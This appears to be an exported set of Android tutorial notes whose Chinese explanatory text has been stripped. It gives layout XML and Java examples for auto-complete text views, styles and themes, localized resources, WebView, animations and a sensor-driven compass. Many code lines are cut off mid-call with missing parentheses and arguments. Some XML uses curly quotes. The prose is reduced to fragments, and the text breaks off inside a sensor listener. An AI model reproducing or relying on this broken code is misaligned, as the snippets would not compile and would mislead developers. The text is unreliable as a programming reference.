								actv	=	(AutoCompleteTextView)	this.findViewById(R.id.autoCompleteTextView);
								
								String[]	names	=	{	"" ,	"" ,	"" ,	"" ,	"" ,	"" ,	"abc",	"acc"	};
								ArrayAdapter<String>	adapter	=	new	ArrayAdapter<String>(
																getApplicationContext(),android.R.layout.simple_spinner_dropdown_item,	names);
								actv.setAdapter(adapter);
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
}
3



-MultiAutoCompleteTextView

-MultiAutoCompleteTextView
AutoCompleteTextViewMultiAutoCompleteTextView,
MultiAutoCompleteTextViewsetTokenizerMultiAutoCompleteTextView.CommaTokenizer

You	must	provide	a	Tokenizer	to	distinguish	the	various	substrings.	

mactv.setTokenizer(new	MultiAutoCompleteTextView.CommaTokenizer());

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<MultiAutoCompleteTextView
								android:id="@+id/multiAutoCompleteTextView"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:completionThreshold="1"
								android:hint=""
								>
								<requestFocus	/>
				</MultiAutoCompleteTextView>
</LinearLayout>
2
package	cn.zengfansheng.multiautocompletetextview;

import	android.app.Activity;
import	android.os.Bundle;
import	android.view.Menu;
import	android.widget.ArrayAdapter;
import	android.widget.MultiAutoCompleteTextView;

public	class	MainActivity	extends	Activity	{
				private	MultiAutoCompleteTextView	mactv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
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								mactv	=	(MultiAutoCompleteTextView)	this.findViewById(R.id.multiAutoCompleteTextView
								String[]	names	=	{	"" ,	"" ,	"" ,	"" ,	"" ,	"" ,	"abc",	"acc"	};
								ArrayAdapter<String>	adapter	=	new	ArrayAdapter<String>(getApplicationContext(),
																android.R.layout.simple_dropdown_item_1line,	names);
								mactv.setAdapter(adapter);
								mactv.setTokenizer(new	MultiAutoCompleteTextView.CommaTokenizer());
										//	
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
}
3	:	



android

android
androidCSS view
res/values/styles.xml
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<style	name=“itcast”>	<!--	-->

								<item	name=“android:textSize”>18px</item>	<!--	nameView	-->
								<item	name="android:textColor">#0000CC</item>
				</style>
</resources>
layoutandroid
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"	....>
				<TextView	style="@style/itcast"
								.....		/>
</LinearLayout>

1	
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="TextView1" 	
								android:textColor="#00FF00"
								android:textSize="20sp"
								/>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="TextView2" 	
								android:textColor="#00FF00"
								android:textSize="20sp"
								/>
				<TextView
								android:layout_width="wrap_content"
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								android:layout_height="wrap_content"
								android:text="TextView3" 	
								android:textColor="#00FF00"
								android:textSize="20sp"
								/>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="TextView4" 	
								android:textColor="#00FF00"
								android:textSize="20sp"
								/>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="TextView5" 	
								android:textColor="#00FF00"
								android:textSize="20sp"
								/>
</LinearLayout>
2style	
a)	res/layout/activity_main.xml
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/mytextview_style"
								android:text="TextView1" 	/>
				<TextView
								style="@style/mytextview_style"
								android:text="TextView2" 	/>
				<TextView
								style="@style/mytextview_style"
								android:text="TextView3" 	/>
				<TextView
								style="@style/mytextview_style"



								android:text="TextView4" 	/>
				<TextView
								style="@style/mytextview_style"
								android:text="TextView5" 	/>
</LinearLayout>
b)	res/values/styles.xml
<resources>
				<style	name="mytextview_style">
								<item	name="android:layout_width">wrap_content</item>
								<item	name="android:layout_height">wrap_content</item>
								<item	name="android:textColor">#ff0000</item>
								<item	name="android:textSize">20sp</item>
				</style>
</resources>
3
package	cn.zengfansheng.style;
import	android.os.Bundle;
import	android.app.Activity;
import	android.view.Menu;
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
}
4





theme

\sdk\platforms\android-18\data\res\values\themes.xml	
1.		
2	,	activity
<activity
												android:name="cn.zengfansheng.theme.MainActivity"
												android:label="@string/app_name"
												android:theme="@style/myWindowTheme"	>
												<intent-filter>
																<action	android:name="android.intent.action.MAIN"	/>
																<category	android:name="android.intent.category.LAUNCHER"	/>
												</intent-filter>
</activity>
3 <style>parent
						
4
5android:		
<item	name="android:windowNoTitle">true</item>

android
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
<style	name=“itcastTheme">
								<item	name=“android:windowNoTitle”>true</item>	<!–		à
								<item	name=“android:windowFullscreen”>?android:windowNoTitle</item>	<!–		à
</style>
</resources>
“?android:windowNoTitle”
AndroidManifest.xml
<application	android:icon="@drawable/icon"	android:label="@string/app_name"
					android:theme="@style/itcastTheme">
			......
</application>
AndroidManifest.xml
setTheme(R.style.itcastTheme);

View EditTextTextView
AndroidManifest.xml<application><activity>	ActivityActivity view
android <activity	android:theme=“@android:style/Theme.Dialog”>Activity

@android:style/Theme.Translucent	 referenceàandroid-->R.style	
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1
a)		\res\layout\activity_main.xml
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/myTextview_style"
								android:text="TextView1" 	/>
				<TextView
								style="@style/myTextview_style"
								android:text="TextView2" 	/>
				<TextView
								style="@style/myTextview_style"
								android:text="TextView3" 	/>
				<TextView
								style="@style/myTextView_style2"
								android:text="TextView4" 	/>
</LinearLayout>
b)	\res\values\styles.xml
<resources	xmlns:tools="http://schemas.android.com/tools"	xmlns:android="http://schemas.android.com/apk/res/android"
				<!--
								.		
									,	activity
				-->
				<!--		-->
				<style	name="myWindowTheme">
								<item	name="android:windowNoTitle">true</item>
								<item	name="android:windowBackground"	
											tools:ignore="NewApi">@android:color/holo_blue_bright</item>
				</style>

				<!--		-->
				<style	name="myTextview_style">
								<item	name="android:layout_width">wrap_content</item>
								<item	name="android:layout_height">wrap_content</item>
								<item	name="android:textColor">@color/green</item>
								<item	name="android:textSize">20sp</item>
				</style>
				
				<!--		-->
				<style	name="myTextView_style2"	parent="@style/myTextview_style">



								<item	name="android:textSize">10sp</item>
								<item	name="android:background">@color/red</item>
				</style>
</resources>		
c)		\res\values\color.xml
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<color	name="red">#ff0000</color>
				<color	name="blue">#0000ff</color>
				<color	name="green">#00ff00</color>
</resources>
2
AndroidManifest.xml
	<activity
					android:name="cn.zengfansheng.theme.MainActivity"
					android:label="@string/app_name"
					android:theme="@style/myWindowTheme"	>
					<intent-filter>
									<action	android:name="android.intent.action.MAIN"	/>
									<category	android:name="android.intent.category.LAUNCHER"	/>
					</intent-filter>
	</activity>
3
a)	:	 <item	name="android:windowNoTitle">true</item>		
b)	 	<item	name="android:windowBackground"	tools:ignore="NewApi">@android:color/holo_blue_bright
c)	TextView 	<style	name="myTextview_style">	
d)	TextView	 <style	name="myTextView_style2"	parent="@style/myTextview_style">	
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Android	

1		 	
valuesstring.xml
android:text="@string/hello_world"	
2Toast	
valuesstring.xml

Toast.makeText(this,	getResources().getString(R.string.hello_world),Toast.LENGTH_LONG

		values-en\strings.xml

	values-zh\strings.xml
3
drawable
android:src="@drawable/flag"			

	

a)values	 	values--

values-zh-rTW



b)Androidpackages\apps\Settings\res\

	

1
a)	\res\layout\activity_main.xml
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:textSize="20sp"
								android:text="@string/hello_world"	/>
				<ImageView
								android:id="@+id/imageView1"

wiz:open_attachment?guid=ab1b04f4-7126-4251-a1e1-bbd789285e12


								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:src="@drawable/flag"	
							/>	
</LinearLayout>
b)	\res\values\strings.xml
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<string	name="app_name">Android() </string>
				<string	name="action_settings">Settings</string>
				<string	name="hello_world">Hello	world!() </string>
</resources>

2
package	cn.zengfansheng.i18n;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.Menu;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								
								Toast.makeText(this,	getResources().getString(R.string.hello_world),
																Toast.LENGTH_LONG).show();
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
}
3

	



	

	

	



	



	





HtmlUI-	
webview——htmljs

android layout AndroidWebViewJSJava androidHTML
android

assets*.apk

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<WebView
								android:id="@+id/webView"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	/>
</LinearLayout>
2
package	cn.zengfansheng.privacy;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.Menu;
import	android.webkit.WebView;
public	class	MainActivity	extends	Activity	{
				private	WebView	webView;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								webView	=	(WebView)	this.findViewById(R.id.webView);
								webView.loadUrl("file:///android_asset/private_protect.html");//	file3/
				}
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is	present.
								getMenuInflater().inflate(R.menu.main,	menu);
								return	true;
				}
}

wiz:open_attachment?guid=6862b107-3419-4e81-ba43-d77d2070a07f
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UI

——R.java

1
package	cn.zengfansheng.manualUI;
import	android.app.Activity;
import	android.graphics.Color;
import	android.os.Bundle;
import	android.view.ViewGroup.LayoutParams;
import	android.view.WindowManager;
import	android.widget.LinearLayout;
import	android.widget.TextView;
public	class	MainActivity	extends	Activity	{
				@SuppressWarnings("deprecation")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								WindowManager	wm	=	(WindowManager)	this.getSystemService(WINDOW_SERVICE
								int	width	=	wm.getDefaultDisplay().getWidth()	/	3;//	/3
								LinearLayout	llLayout	=	new	LinearLayout(this);
								llLayout.setOrientation(LinearLayout.VERTICAL);//	
								TextView	tv1	=	new	TextView(this);
								tv1.setText("1" );
								tv1.setBackgroundColor(Color.GREEN);
								llLayout.addView(tv1,	width,LayoutParams.WRAP_CONTENT);
								TextView	tv2	=	new	TextView(this);
								tv2.setText("2" );
								tv2.setBackgroundColor(Color.GREEN);
								llLayout.addView(tv2,	width,LayoutParams.WRAP_CONTENT);
								
								this.setContentView(llLayout);
				}
}
2
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(FrameAnimation)

drawable 	 	
h:high	
l:low	
m:middle	
xh:	extra	high	
xxh:extra	extra	high	

(FrameAnimation)
http://developer.android.com/guide/topics/resources/animation-resource.html	

1getBackground()sdkbug
2 android:oneshottruefalse
android:duration="100"	

1	
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical">
				<ImageView
								android:id="@+id/iv"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								/>
				<Button
				android:onClick="play"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="" 	/>
				
</LinearLayout>
2xml
<animation-list	xmlns:android="http://schemas.android.com/apk/res/android"	android:oneshot="false"	>
android:oneshottruefalse

http://developer.android.com/guide/topics/resources/animation-resource.html
wiz:open_attachment?guid=6d7d29dc-98e2-4907-8663-eb5f6ab099b9
http://schemas.android.com/apk/res/android"


android:duration="100"	
girl_list.xml
<?xml	version="1.0"	encoding="utf-8"?>
<animation-list	xmlns:android="http://schemas.android.com/apk/res/android"
				android:oneshot="false"	>
				<item
								android:drawable="@drawable/girl_1"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_2"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_3"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_4"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_5"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_6"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_7"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_8"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_9"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_10"
								android:duration="100"/>
				<item
								android:drawable="@drawable/girl_11"
								android:duration="100"/>
</animation-list>
3
package	cn.zengfansheng.frameanimation;
import	android.app.Activity;



import	android.graphics.drawable.AnimationDrawable;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.ImageView;
public	class	MainActivity	extends	Activity	{
				private	AnimationDrawable	rocketAnimation;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								ImageView	rocketImage	=	(ImageView)	findViewById(R.id.iv);
								rocketImage.setBackgroundResource(R.drawable.girl_list);//	1 drawablexml
								//	2getBackground() sdkstart()
								rocketAnimation	=	(AnimationDrawable)	rocketImage.getBackground();
				}
				/**
					*	
					*	@param	view
					*/
				public	void	play(View	view)	{
								rocketAnimation.start();
				}
}
4



Tween	Animation

Animation
Android2
1>	Tween	View		()XMLTween4

Xml
<alpha/> AlphaAnimation
<scale/> ScaleAnimation
<translate/> TranslateAnimation
<rotate/> RotateAnimation

	
2>	Frame
1res/	drawable
2resanimanimXMLAnimationDrawable



3ViewAnimationDrawablestart()
	 rotate.setFillAfter(true);		drawingcacheuiimage

1	
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				
				<LinearLayout	
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:orientation="horizontal"	>
								<Button
												android:layout_width="0dip"
												android:layout_weight="1"	
												android:layout_height="wrap_content"
												android:onClick="alpha"
												android:text="alpha" 	/>
							
								<Button
												android:layout_width="0dip"
												android:layout_weight="1"
												android:layout_height="wrap_content"
												android:onClick="scale"
												android:text="scale" 	/>	
												
								<Button
												android:layout_width="0dip"
												android:layout_weight="1.3"
												android:layout_height="wrap_content"
												android:onClick="translate"
												android:text="translate" 	/>
								
									<Button
												android:layout_width="0dip"
												android:layout_weight="1"
												android:layout_height="wrap_content"
												android:onClick="rotate"
												android:text="rotate" 	/>
									

wiz:open_attachment?guid=58d53f9b-a827-4d84-b1a2-ae76a75c93a4


									<Button
												android:layout_width="0dip"
												android:layout_weight="1"
												android:layout_height="wrap_content"
												android:onClick="set"
												android:text="" 	/>
									
				</LinearLayout>
				
				
				<ImageView
								android:layout_marginTop="100dp"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"	
								android:layout_gravity="center_horizontal"
								android:id="@+id/iv"
								android:src="@drawable/ic_launcher"
								/>
</LinearLayout>
2
package	cn.zengfansheng.tween;
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.graphics.Color;
import	android.os.Bundle;
import	android.view.View;
import	android.view.animation.AlphaAnimation;
import	android.view.animation.Animation;
import	android.view.animation.AnimationSet;
import	android.view.animation.Interpolator;
import	android.view.animation.RotateAnimation;
import	android.view.animation.ScaleAnimation;
import	android.view.animation.TranslateAnimation;
import	android.widget.ImageView;
public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
				}



				/**
					*	TODO	1
					*	@param	view
					*/
				@SuppressLint("NewApi")
				public	void	alpha(View	view)	{
								//	1alpha
								AlphaAnimation	alpha	=	new	AlphaAnimation(0.2f,	1.0f);//	1.0f
								//	2
								alpha.setDuration(3000);//	
								alpha.setRepeatCount(3);//	4
								alpha.setBackgroundColor(Color.BLUE);//	
								alpha.setRepeatMode(Animation.REVERSE);//	REVERSERESTART
								alpha.setFillAfter(true);//	true
								//	3
								iv.startAnimation(alpha);
				}
				/**
					*	TODO	2
					*	@param	view
					*/
				public	void	scale(View	view)	{
								ScaleAnimation	scale	=	new	ScaleAnimation(0.1f,	2.0f,	0.5f,	3.0f);
								scale.setDuration(3000);
								scale.setRepeatMode(Animation.REVERSE);
								scale.setRepeatCount(1);
								scale.setFillAfter(true);
								//	scale.setFillEnabled(true);
								//	scale.setFillBefore(true);
								iv.startAnimation(scale);
				}
				/**
					*	TODO	3
					*	@param	view
					*/
				public	void	translate(View	view){
								TranslateAnimation	translate	=	new	TranslateAnimation(-30,100,-50,120);
								//	-30x-50yxy
								//	100,120xy()
								translate.setInterpolator(new	Interpolator()	{
												@Override
												public	float	getInterpolation(float	x)	{



																return	x	*	2	+	2;
												}
								});
								translate.setRepeatCount(1);
								translate.setDuration(2000);
								translate.setRepeatMode(Animation.REVERSE);
								iv.startAnimation(translate);
				}
				/**
					*	TODO	4
					*	@param	view
					*/
				public	void	rotate(View	view)	{
								//	RotateAnimation	rotate	=	new	RotateAnimation(0,	90);//	0-90°
								//	RotateAnimation	rotate	=	new	RotateAnimation(90,	360,	100,	100);//	90°~360°100,100
								RotateAnimation	rotate	=	new	RotateAnimation(0,	360,
																RotateAnimation.RELATIVE_TO_SELF,	0.5f,
																RotateAnimation.RELATIVE_TO_SELF,	0.5f);
								//	0°~360°
								
								rotate.setDuration(2000);
								rotate.setRepeatCount(5);
								rotate.setRepeatMode(Animation.REVERSE);
								rotate.setFillAfter(true);
								iv.startAnimation(rotate);
				}
				
				/**
					*	TODO	5 -
					*	@param	view
					*/
				public	void	set(View	view){
								
								AnimationSet	set	=	new	AnimationSet(false);
								ScaleAnimation	sa	=	new	ScaleAnimation(0.2f,	2.0f,	0.2f,	2.0f);
								sa.setDuration(2000);
								//sa.setRepeatCount(1);
								sa.setRepeatMode(Animation.REVERSE);
								RotateAnimation	ra	=	new	RotateAnimation(0,	360,	Animation.RELATIVE_TO_SELF
															Animation.RELATIVE_TO_SELF,	1.0f);
								ra.setDuration(2000);
								TranslateAnimation	ta	=	new	TranslateAnimation(0,	0,	0,	100);



								ta.setDuration(2000);
								set.addAnimation(sa);
								set.addAnimation(ra);
								set.addAnimation(ta);
								set.setDuration(2000);
								set.setFillAfter(true);
								iv.startAnimation(set);
				}
}

Tween	Animation
ImageView
1>	resanimanimXML ,scale .xml
<?xml	version="1.0"	encoding="utf-8"?>
	<set	xmlns:android="http://schemas.android.com/apk/res/android">	
				<scale	android:interpolator="@android:anim/accelerate_decelerate_interpolator"	
								android:fromXScale="0.0"	
								android:fromYScale="0.0"		
								android:toXScale="5"	
								android:toYScale="5"	
								android:pivotX="50%"	
								android:pivotY="50%"	
								android:fillAfter="false"	
								android:duration="5000"
								/>	
</set>
interpolatorandroidInterpolator 	LinearInterpolatorAccelerateinterpolatorDecelerateInterpolatorInterpolator
fromXScale 	X	
fromYScale 	Y
toXScale 			X
toYScale 			Y
:		
0.0	
1.0
1.0	
1.0
pivotX 					X	
pivotY 					Y	
:	
	0%-100%
50%XY
duration 	:			



fillAftertrue
2>	layout<ImageView>
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:orientation="horizontal"
				android:layout_width="fill_parent"
				android:layout_height="fill_parent"
				>
<ImageView
			android:layout_width="wrap_content"
			android:layout_height="wrap_content"
			android:src="@drawable/icon"
			android:id="@+id/imageView"
			/>
</LinearLayout>

<ImageView>View <TextView>
3>ActivityImageView
public	class	AnimationActivity	extends	Activity	{
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								ImageView	imageView	=	(ImageView)this.findViewById(R.id.imageView);
								//XML,
								Animation	animation	=	AnimationUtils.loadAnimation(this,	R.anim.scale);
								//
								imageView.startAnimation(animation);
				}
}
xml
public	class	AnimationActivity	extends	Activity	{
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								ImageView	imageView	=	(ImageView)this.findViewById(R.id.imageView);
								ScaleAnimation	animation	=	new	ScaleAnimation(0.0f,	5f,	0.0f,	5f,	
								Animation.RELATIVE_TO_SELF,	0.5f,	Animation.RELATIVE_TO_SELF,	0.5f);
								animation.setDuration(5000);	//5
								imageView.startAnimation(animation);
				}
}



=======================================
<?xml	version="1.0"	encoding="utf-8"?>
<set	xmlns:android="http://schemas.android.com/apk/res/android">
				<alpha
								android:fromAlpha="0.1"				
								android:toAlpha="1.0"
								android:duration="3000"
				/>
</set>

public	class	AnimationActivity	extends	Activity	{
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								ImageView	imageView	=	(ImageView)this.findViewById(R.id.imageView);
								AlphaAnimation	animation	=	new	AlphaAnimation(0.1,	1.0);	
								animation.setDuration(5000);	//5
								imageView.startAnimation(animation);
				}
}
=======================================
<?xml	version="1.0"	encoding="utf-8"?>
<set	xmlns:android="http://schemas.android.com/apk/res/android">
<translate
android:repeatCount="2"
android:fromXDelta="0"
android:fromYDelta="0"
android:toXDelta="120"
android:toYDelta="120"
android:duration="3000"
/>
<!--	fromXDelta	fromYDelta		XY
toXDelta	toYDelta		XY
	-->
</set>

public	class	AnimationActivity	extends	Activity	{
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);



								setContentView(R.layout.main);
								ImageView	imageView	=	(ImageView)this.findViewById(R.id.imageView);
								TranslateAnimation	animation	=	new	TranslateAnimation(0,	120,	0,	120);	
								animation.setDuration(5000);	//5
								imageView.startAnimation(animation);
				}
}
=======================================
<?xml	version="1.0"	encoding="utf-8"?>
<set	xmlns:android="http://schemas.android.com/apk/res/android">
<rotate
android:interpolator="@android:anim/accelerate_interpolator"
android:repeatCount="2"
android:fromDegrees="0"
android:toDegrees="+360"
android:pivotX="50%"
android:pivotY="50%"
android:duration="3000"
/>
<!--	
repeatCount	
fromDegrees:
——
——
(fromDegrees——toDegrees:)
(fromDegrees——toDegrees:)
(fromDegrees——toDegrees:)
(fromDegrees——toDegrees:)
toDegrees	360
pivotX,pivotY		XY . 	0%-100%,50%XY
	-->
</set>

RotateAnimation	animation	=	new	RotateAnimation(0,	-90,	Animation.RELATIVE_TO_SELF
animation.setDuration(500);
imageView.startAnimation(animation);
=====================		Frame		===============================
1res /	drawable
			girl_1 .gif,	girl_2.gif,	girl_3.gif
2resanimanimXML ,frame .xml
<?xml	version="1.0"	encoding="utf-8"?>
<animation-list	xmlns:android="http://schemas.android.com/apk/res/android"



				android:oneshot="false">
				<item	android:drawable="@drawable/girl_1"	android:duration="200"	/>
				<item	android:drawable="@drawable/girl_2"	android:duration="200"	/>
				<item	android:drawable="@drawable/girl_3"	android:duration="200"	/>
</animation-list>
XMLFrame33drawable3girl_1 .gif,	girl_2.gif,	girl_3.gif200android :oneshottruefalse
3ViewAnimationDrawablestart ()
public	class	FrameActivity	extends	Activity	{
				private	AnimationDrawable	animationDrawable;
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								ImageView	imageView	=	(ImageView)this.findViewById(R.id.imageView);
								imageView.setBackgroundResource(R.anim.frame);
								animationDrawable	=	(AnimationDrawable)	imageView.getBackground();
				}
				@Override
				public	boolean	onTouchEvent(MotionEvent	event)	{
										if	(event.getAction()	==	MotionEvent.ACTION_DOWN)	{//
														animationDrawable.start();
														return	true;
										}
										return	super.onTouchEvent(event);
				}
}
FrameanimationDrawable .start();OnCreate()OnCreate ()	AnimationDrawableImageViewOnCreate



() ()
							Sensor.TYPE_ORIENTATION
				()	Sensor.TYPE_ACCELEROMETER
				:				Sensor.TYPE_LIGHT
							Sensor.TYPE_MAGNETIC_FIELD
				()	Sensor.TYPE_PROXIMITY
							Sensor.TYPE_TEMPERATURE

//
Sensor	sensor	=	sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
//
sensorManager.registerListener(listener,	sensor,
SensorManager.SENSOR_DELAY_GAME);

	SensorManager.SENSOR_DELAY_FASTEST
UI

	SensorManager.SENSOR_DELAY_GAME

	SensorManager.SENSOR_DELAY_NORMAL
EASY
	SensorManager.SENSOR_DELAY_UI

1
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:paddingBottom="@dimen/activity_vertical_margin"
				android:paddingLeft="@dimen/activity_horizontal_margin"
				android:paddingRight="@dimen/activity_horizontal_margin"
				android:paddingTop="@dimen/activity_vertical_margin"
				tools:context=".MainActivity"	>
				<ImageView
								android:id="@+id/iv"



								android:layout_width="wrap_content"
								android:layout_height="wrap_content"	
								android:layout_centerInParent="true"
								android:src="@drawable/zn"
								android:contentDescription="@string/compass"/>
</RelativeLayout>	2
package	cn.zengfansheng.sensor;
	
import	android.app.Activity;
import	android.content.Context;
import	android.hardware.Sensor;
import	android.hardware.SensorEvent;
import	android.hardware.SensorEventListener;
import	android.hardware.SensorManager;
import	android.os.Bundle;
import	android.view.animation.RotateAnimation;
import	android.widget.ImageView;
	
public	class	MainActivity	extends	Activity	{
	
				private	SensorEventListener	listener;
				private	SensorManager	sensorManager;
				private	ImageView	iView;
	
				@SuppressWarnings("deprecation")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iView	=	(ImageView)	this.findViewById(R.id.iv);
	
								//	1SensorManager
								sensorManager	=	(SensorManager)
this.getSystemService(Context.SENSOR_SERVICE);
								//	2type
//								Sensor	sensor	=
sensorManager.getDefaultSensor(Sensor.TYPE_LIGHT);//	



								Sensor	sensor	=
sensorManager.getDefaultSensor(Sensor.TYPE_ORIENTATION);//	
deprecated
	
								//	3
								listener	=	new	MySensorEventListener();
								sensorManager.registerListener(listener	,	sensor,
SensorManager.SENSOR_DELAY_FASTEST);
								//	SensorManager.SENSOR_DELAY_NORMAL
				}
	
				/**
					*	
					*/
				private	class	MySensorEventListener	implements	SensorEventListener	{
	
								private	float	rotate;//	
	
								@Override
								public	void	onSensorChanged(SensorEvent	event)	{
												//	30°30°
												float[]	values	=	event.values;
												//	0=North,	90=East,	180=South,	270=West
												//	float	light	=	values[0];//	values[0]:
												//float	jiaodu	=	values[0];//	values[0]:0api
												//System.out.println(""	+	jiaodu);
												RotateAnimation	rotateAnimation	=	new	RotateAnimation(rotate,	-
values[0],
																				RotateAnimation.RELATIVE_TO_SELF,	0.5f,
																				RotateAnimation.RELATIVE_TO_SELF,	0.5f);
												rotateAnimation.setDuration(50);
												iView.setAnimation(rotateAnimation);
												rotate	=	-values[0];
								}
								@Override
								public	void	onAccuracyChanged(Sensor	sensor,	int	accuracy)	{
								}



				}
				@Override
				protected	void	onDestroy()	{
								super.onDestroy();
								//	4
								sensorManager.unregisterListener(listener);
								listener	=	null;
				}
}

3
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	4 ()
//()
public	class	MainActivity	extends	Activity	{
				private	TextView	accelerometer;
				private	TextView	orientation;
				private	SensorManager	sensorManager;
				
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								



								//
								sensorManager	=	(SensorManager)	getSystemService(SENSOR_SERVICE);
								accelerometer	=	(TextView)	findViewById(R.id.accelerometer);		
								orientation	=	(TextView)	findViewById(R.id.orientation);		
				}
				
				@Override
				protected	void	onResume()	{
				
								Sensor	sensor	=	sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER

								sensorManager.registerListener(listener,	sensor,	SensorManager.SENSOR_DELAY_GAME
								
								Sensor	sensor1	=	sensorManager.getDefaultSensor(Sensor.TYPE_ORIENTATION

								sensorManager.registerListener(listener,	sensor1,	SensorManager.SENSOR_DELAY_GAME
								super.onResume();
				}	
				
				@Override
				protected	void	onPause()	{
								sensorManager.unregisterListener(listener);//
								super.onPause();
				}
				
				private	SensorEventListener	listener	=	new	SensorEventListener()	{								
								@Override
								public	void	onSensorChanged(SensorEvent	event)	{//												
												float	x	=	event.values[SensorManager.DATA_X];						
																				float	y	=	event.values[SensorManager.DATA_Y];						
